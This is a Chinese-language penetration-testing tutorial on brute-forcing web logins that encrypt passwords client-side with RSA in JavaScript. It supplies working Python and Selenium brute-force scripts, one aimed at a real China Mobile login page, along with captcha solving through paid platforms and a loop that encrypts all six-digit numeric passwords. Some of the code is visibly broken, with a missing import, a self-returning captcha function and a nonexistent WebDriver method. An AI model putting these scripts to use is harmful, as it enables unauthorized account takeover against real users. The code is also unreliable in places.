一. 概述
滲透測試過程中遇到web登錄的時候,現在很多場景賬號密碼都是經過js加密之后再請求發送(通過抓包可以看到加密信息)如圖一burp抓到的包,request的post的登錄包,很明顯可以看到password參數的值是經過前端加密之后再進行傳輸的,遇到這種情況,普通發包的爆破腳本就很難爆破成功。鑒於這種情況,這邊分析四種方式進行繞過加密爆破。
二. 方法和思路
1. 分析找出是哪個js文件進行了password參數值的加密,將該js導入本地動態執行,建一個小型的web服務器,利用瀏覽器頁面將js運行起來,把賬號密碼發給本地這個服務器,然后本地js執行加密之后把加密的值再給登錄的請求,實現普通的發包爆破。(這個時候普通的發包方式password參數的值就是加密之后的值)(這里渲染 js 可以用 webdrive 或者 phantomjs,或者 Node.js 都行)
2. 利用selenium webdriver,本地驅動一個瀏覽器,完全模擬瀏覽器的操作,實現瀏覽器自動登錄爆破.(類似的工具,或者 Node.js,按鍵精靈,QTP 工具等都可以)
3. 通過對js里的加密算法進行破解,或者是理清加密流程,然后利用自己熟知的編程語言實現同樣的加密方式(再下使用的是python),寫一個效果一樣的加密方式,然后把代碼嵌入到發包爆破代碼里,這種方式字典里賬號密碼傳入的時候,先進行加密再傳給登錄請求。(也是實現普通的發包爆破)
4. 利用前面的方法,把密碼字典全部加密之后生成對應加密字典,然后普通發包爆破的時候傳入加密的字典。
三. 具體的分析
1. 第一種方式:本地動態執行js
1) 分析登錄界面,根據登錄按鈕之后進行burp抓包,發現每次登陸之前都會先請求一個頁面
而該頁面返回的是一個json格式的m開頭和e開頭的值
下圖是直接從瀏覽器訪問的截圖
根據元素定位,從登陸頁面的 login()函數設置執行斷點調試,理清密碼利用 js 加密的一個過程,最后找出加密過程為登陸頁面中的 rasEncode函數
contextPath:就是網站首頁
str :是輸入的密碼的明文
url :contextPath+”抹掉的路徑”,就是上面所說每次登陸之前去請求的頁面,請求得到的就是modulus和exponent值
RSAPUB_KEY就是利用RSAUtils.getKeyPair函數加密modulus和exponent得到的值
enpassword就是最后我們在 第一張圖里burp 里抓到密碼經過 js加密之后的值。
enpassword過程是利用RSAUtils.encryptedString函數,使RSAPUB_KEY為加密秘鑰對原始密碼進行字符串編碼的值進行加密的結果(encodeURIComponent是 JavaScript 中對字符串編碼的函數)
document.getElementById(‘password’).value=enpassword,HTML 中一個方法,最好將 enpassword 的值給需要post 的password 字段。
該過程中使用到的最主要的就是RSAUtils.getKeyPair和RSAUtils.encryptedString這兩個方法。
通過最 Sources 的搜索,發現這兩個方法都是security.js 中定義的。
理清過程和找到對應的 js 之后,就可以將 security.js 文件保存到本地,利用 python(也可以用其他語言)編寫一個簡易的的服務器接收原始密碼,計算輸出 js 加密之后的密文。
實現如下:
server.py是起 簡易server的腳本
security.js 就是上面找到的加密的 js
index.html獲取原始密碼的首頁,result.html是進行加密的頁面
server.py 的代碼:
index.html 的代碼:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post" action="/">
modulus:<input type="text" name="modulus" id="modulus"/><br>
exponent:<input type="text" name="exponent" id="exponent"/><br>
password:<input type="text" name="password" id="password"/><br>
<button type="submit">submit</button>
<br>
</form>
</body>
</html>
result.html 的代碼:
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="static/security.js"></script>
</head>
<body>
<p id="modulus" style="display: none">{{ modulus }}</p><br>
<p id="exponent" style="display: none">{{ exponent }}</p><br>
<p id="result">Hello World!</p>
這個 js 腳本就是圖七中加密的過程的精簡
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = document.getElementById('modulus').textContent;
var exponent = document.getElementById('exponent').textContent;
RSAPUB_KEY = RSAUtils.getKeyPair(exponent, '', modulus);
enpassword = RSAUtils.encryptedString(RSAPUB_KEY, encodeURIComponent('{{ password }}'));
document.getElementById("result").innerHTML = enpassword;
console.log(enpassword);
</script>
</body>
</html>
server 運行起來之后打開的效果:
下圖是最后的運行結果,這也是我們需要的加密之后的值
接着就是爆破的腳本brute.py通過python的request模塊實現:
# -*- coding:utf-8 -*- from selenium import webdriver import requests import json class INFO: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' ARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def __init__(self): self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC driver = webdriver.PhantomJS(executable_path="phantomjs") session = '' def get_pubkey(): pubkey_url = 'https://xxx.xxxxx.xxx'#這里就是圖三和圖四所說的登錄之前都要先獲取的modulus和exponent字段的 url, 其實這 get_pubkey 都不需要,最后發現每次請求的modulus和exponent都沒有變。 response_pub = requests.post(pubkey_url) txt = json.loads(response_pub.content) modulus = txt['modulus'] exponent = txt['exponent'] return modulus, exponent #定義的get_enrsapassword函數就是獲取加密之后的 password 值,這里利用PhantomJS對之前搭建的小型 server 的 index.html 和 result.html 頁面進行渲染。 def get_enrsapassword(modulus, exponent, password): driver.get('http://127.0.0.1:5000') driver.find_element_by_id('modulus').send_keys(modulus) driver.find_element_by_id('exponent').send_keys(exponent) driver.find_element_by_id('password').send_keys(password) driver.find_element_by_tag_name('button').click() return driver.find_element_by_id('result').text#最后得到就是加密之后的 password 值 def verifyCode(session, url): #打驗碼的代碼省略,因為這里涉及到自己打碼平台的信息,賬號密碼等等,所以省略,驗證碼簡單大家可以使用開源的 OCR 或者付費購買打碼平台,很便宜。 return verifyCode def login_snmoblie(session, username, enrsapassword, password): login_url = 'https://aa.bb.cccc.ddd/xxxxxxx' verifyCode_url='http://aa.bb.cccc.ddd/lsdfghdfgh.png' verifycode = verifyCode(session,verifyCode_url) data = { 'userName': username, 'password': enrsapassword, 'verifyCode': verifycode, 'OrCookies': '1', 'loginType': '1', 'fromUrl': 'uiue/login_max.jsp', 'toUrl': 'http://www.xx.cccc.cn/xx/xxxxx/' } logingres = session.post(login_url, data=data, allow_redirects=True) logingres_content = logingres.content con = re.findall('redirect.html', logingres_content) if con: print INFO().SUCCESS, INFO.OKGREEN + ' Find user:', username, ' and password:', password + INFO.ENDC else: print INFO().FAILED, INFO.FAIL + 'Error user:', username, 'and password:', password + INFO.ENDC if __name__ == '__main__': print INFO.OKGREEN + 'start brute force' + INFO.ENDC keys = get_pubkey() with open('dict.dict', 'r') as user: for userinfo in user.readlines(): session = requests.Session() enrsapassword = get_enrsapassword(keys[0], keys[1], userinfo.split(':')[1].strip()) login_snmoblie(session, userinfo.split(':')[0].strip(), enrsapassword, userinfo.split(':')[1].strip())
爆破過程:
1.現將 server.py 運行起來
python server.py
2.然后運行爆破腳本
python brute.py
2. 第二種方式
利用selenium webdriver,(或者其他類似的自動化工具)本地驅動一個瀏覽器,完全模擬瀏覽器的操作,實現瀏覽器自動登錄爆破。
webdriver的實現代碼如下
# -*- coding:utf-8 -*- from selenium import webdriver import time import requests class INFO: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' ARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def __init__(self): self.SUCCESS = self.OKGREEN + self.BOLD + 'Found SUCCESS!' + self.ENDC self.FAILED = self.FAIL + self.BOLD + 'Found FAILED!' + self.ENDC def verifyCode(verifyCode_xpath): #利用 webdrive 這種驅動瀏覽器爆破的方式,打碼就不能利用會話獲取驗證碼,只能通過截圖把當前頁面的驗證碼截圖下來,然后上傳到打碼平台進行打碼 #打驗碼的代碼省略,因為這里涉及到自己打碼平台的信息,賬號密碼等等,所以省略,驗證碼簡單大家可以使用開源的 OCR 或者付費購買打碼平台,很便宜。 return verifyCode def login(driver, username, password): driver.get('https://sn.ac.10086.cn/login') time.sleep(2) verifyCode_xpath = '//*[@id="verifyImg"]' #驗證碼的 xpath verifycode = verifyCode(verifyCode_xpath) driver.find_element_by_xpath('//*[@id="userName"]').send_keys(username)#獲取用戶名的 Xpath 並傳值 driver.find_element_by_xpath('//*[@id="password"]').send_keys(password)#獲取密碼的 Xpath,並傳值 driver.find_element_by_xpath('//*[@id="verifyCode"]').send_keys(verifycode)#獲取驗證碼的 Xpath,並將打碼結果傳給他 driver.find_element_by_xpath('//*[@id="shoujihaoma"]/p[6]/span').click()#點擊登錄 login_url = 'http://service.sn.10086.cn/app?service=page/MyMainPage&listener=initPage' time.sleep(6) print driver.current_url if driver.check_result(url=login_url, exkeyword_xpath={'//*[@id="loginButton"]': '登錄'}): print INFO().SUCCESS else: print INFO().FAILED #if 語句進行登錄成功與否的判定 if __name__ == '__main__': proxy = "127.0.0.1:8080" #添加代理選項是查看爆破的情況 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--proxy-server=%s' % proxy) driver = webdriver.Chrome(chrome_options=chrome_options) with open ('dict', 'r') as dict: users = dict.readlines() for U in users: username = U.split(':')[0].strip() password = U.split(':')[1].strip() login(driver, username, password)
3. 第三種方式,通過對js里的加密算法進行破解,或者是理清加密流程:
第一是完全讀懂他加密算法的實現然后破解他的加密算法然后用自己熟知的編程語言重寫實現對密碼加密,或者不用讀懂破解他的算法,理清他的邏輯照着寫一個就行了,例如他用定義變量,你也定義變量,他循環你也循環,完全照抄翻譯式的寫一個即可。寫一個效果一樣的加密方式,然后把代碼嵌入到發包爆破代碼里,這種方式字典里賬號密碼傳入的時候,先進行加密再傳給登錄請求。(也是實現普通的發包爆破)
我們可以簡單看看他這里的實現邏輯,
從第一種方法分析中我們得知,這里就是實現密碼加密的方法,簡單的看是一個 RSA 家嗎RSAUtils.getKeyPair函數利用exponent和modulus生成加密的公鑰,然后RSAUtils.encryptedString利用公鑰對密碼進行加密,從斷點調試中可以得知 RSAPUB_KEY類型是一個對象。
而調用RSAUtils.getKeyPair和RSAUtils.encryptedString這兩個函數是 security.js 這個 js 文件里定義的加密方法。
下圖是RSAUtils.encryptedString
去看了下標准的 RSA 加密算法,每次得到的 利用相同的公鑰enpassword 都會變,因為添加的因子,但是這個 security.js 里的 js 每次的 enpassword 都是固定,所以跟標准的還是有出入,最后花了是哪個小時左右一直沒有進展,就沒有繼續分析下去了。不過這里更多的是提供分析的思路。知道的大牛可以傳授我姿勢。(如果日后還有時間,會把具體的實現代碼補上)
4. 第四種方式,利用上述的方法,把原始密碼字典轉換成加密之后的字典,然后普通發包爆破的時候傳入加密的字典。
到時候字典做成對應的格式
例如
admin: admin的加密值
123456:123456的加密值
qwerty:qwerty 的加密值
做成上面這種字典,發包傳入的是是加密之后的值,終端打出來或者爆破成功之后保存的卻是原始的值,利用我上文用的這個 spilt 方式取值。
username = U.split(':')[0].strip()
password = U.split(':')[1].strip()
下面是我利用 html 寫的一個簡單轉化的方法,寫的很簡單,沒有實現保存保存的格式大家可以自行修改豐富,或者利用我第一種方式里的那個代碼原理去實現
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="security.js"></script>
</head>
<body>
<p id="modulus" style="display: none">{{ modulus }}</p><br>
<p id="exponent" style="display: none">{{ exponent }}</p><br>
<p id="result">Hello World!</p>
<script>
var RSAPUB_KEY = '';
var enpassword = '';
var modulus = '009f8709656328cd8f93d6b862bde481ea0a52b17e7fa3e1875054095f1525715058b7398dc8e6696082de5412bf04576979e2534e89466a2c3ca4d8a6a82edd31860b3ad508664dc7367fe57b4cef6720adeadf64e8dc82f57295aa2bad50b19b7ca348568f4d7af79cd659afb79cf6a0fa63409c1f4f88e10c0b93a388292665';
var exponent = '010001';
var RSAPUB_KEY = RSAUtils.getKeyPair(exponent, '', modulus);
for(var ii=100000; ii<1000000; ii++) {
enpassword = RSAUtils.encryptedString(RSAPUB_KEY, ''+ii);
console.log(enpassword);
}//這里我是用的循環加密我需要的6位的數字密碼,大家可以在這里導入自己的字典實現循環加密得到對應的字典
</script>
</body>
</html>













